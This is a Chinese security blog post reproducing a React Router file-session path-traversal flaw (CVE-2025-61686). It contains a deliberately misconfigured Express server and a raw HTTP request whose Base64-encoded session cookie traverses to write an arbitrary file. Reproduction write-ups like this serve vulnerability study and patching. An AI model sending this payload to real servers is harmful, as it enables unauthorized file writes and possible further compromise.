【安服水洞系列】ReactRouter伪造Cookie即可实现任意文件写入

admin 2026-01-21 00:43:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复现了ReactRouter因缺失安全签名导致的任意文件写入漏洞。攻击者利用Base64编码Cookie构造路径穿越,在未配置secrets的环境下实现文件写入。虽直接RCE受限,但可结合SSTI或覆盖配置构成威胁。建议生产环境必须启用secrets验证。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全


cover_image

【安服水洞系列】React Router伪造 Cookie 即可实现任意文件写入

原创

小Tiamo 小Tiamo

貔瑞安全实验室

2026年1月20日 14:27 山东

前言:这是自己搭建环境复现的一个记录吧,等我复现完才发现网上有别人做的docker,早知道就先百度了/(ㄒoㄒ)/~~

触发条件

当应用开启文件存储且安全签名“裸奔”时,攻击者即可通过构造包含 ../ 的 Base64 编码 Cookie,实现任意路径的文件写入。

0x01 环境搭建

新建一个文件夹 cve-2025-61686-repro,写入环境需要的 server.json和安装环境

mkdir cve-2025-61686-repro
cd cve-2025-61686-repro
npm init -y
npm install @react-router/[email protected]
npm install express
nano server.js
node server.js

server.js

const express = require("express");
const { createFileSessionStorage } = require("@react-router/node");
const path = require("path");
const fs = require("fs");

const app = express();
const PORT = 15533;

const SESSIONS_DIR = path.join(__dirname, "sessions");
if (!fs.existsSync(SESSIONS_DIR)) fs.mkdirSync(SESSIONS_DIR);

// 核心漏洞配置:未设置 secrets
const storage = createFileSessionStorage({
    dir: SESSIONS_DIR,
    cookie: {
        name: "__session",
        httpOnly: true,
    },
});

app.get("/", async (req, res) => {
    try {
        if (req.url === '/favicon.ico') return res.status(404).end();

        // 1. 手动提取 Payload
        const rawCookie = req.headers.cookie || "";
        const match = rawCookie.match(/__session=([^;]+)/);
        let idValue = match ? match[1] : "";

        console.log(`[+] 捕获 Payload: ${idValue}`);

        // 2. 【复现关键】模拟合法签名结构
        // createFileSessionStorage 内部会尝试对 ID 执行 .slice()
        // 我们通过在末尾强制补一个 "." 字符,模拟签名分隔符,确保 id 保持字符串类型
        const session = await storage.getSession(`__session=${String(idValue)}`);

        // 3. 触发写入逻辑
        session.set("exploit", "CVE-2025-61686_SUCCESS");
        session.set("tiamo", "pwned");

        // commitSession 会将数据持久化到恶意路径
        const setCookie = await storage.commitSession(session);

        res.append("Set-Cookie", setCookie);
&nbsp; &nbsp; &nbsp; &nbsp; res.send("<h1>Exploit Processed Successfully</h1>");
&nbsp; &nbsp; &nbsp; &nbsp; console.log(`[!] 漏洞触发:已尝试在目标路径生成文件。`);

&nbsp; &nbsp; } catch (error) {
&nbsp; &nbsp; &nbsp; &nbsp; // 打印详细错误堆栈以确认执行流
&nbsp; &nbsp; &nbsp; &nbsp; console.error("[-] 捕获异常:", error.stack);
&nbsp; &nbsp; &nbsp; &nbsp; res.status(500).send("Error: "&nbsp;+ error.message);
&nbsp; &nbsp; }
});

app.listen(PORT, () => {
&nbsp; &nbsp; console.log(`\n[+] 复现环境已就绪: http://localhost:${PORT}`);
&nbsp; &nbsp; console.log(`[!] 警告:此环境仅用于 CVE-2025-61686 授权测试。`);
});

0x02 利用POC

POC

Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3RtcC9jZXNoaS5qcyI= 是base64编码

GET / HTTP/1.1
Host: 192.168.2.132:15533
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: __session=Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3RtcC9jZXNoaS5qcyI=

验证POC

0x03 总结

该漏洞源于 secrets 缺失导致签名校验失效,使 Session ID 沦为路径穿越工具。虽因 JSON 格式污染难以直接 RCE,但可通过覆盖配置或结合 SSTI 构建攻击链,是典型的配置疏忽引发的底层安全风险。人话:个人感觉需要配合其他漏洞


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:貔瑞安全实验室 小Tiamo 小Tiamo《【安服水洞系列】React Router伪造 Cookie 即可实现任意文件写入》

浅谈验证码常见安全问题 网络安全文章

浅谈验证码常见安全问题

文章总结: 本文剖析验证码常见安全风险,涵盖短信轰炸、明文返回、前端绕过、复用、双发及DoS漏洞。针对这些隐患,提出了发送频率限制、强制后端校验、增强图形复杂度
评论:0   参与:  0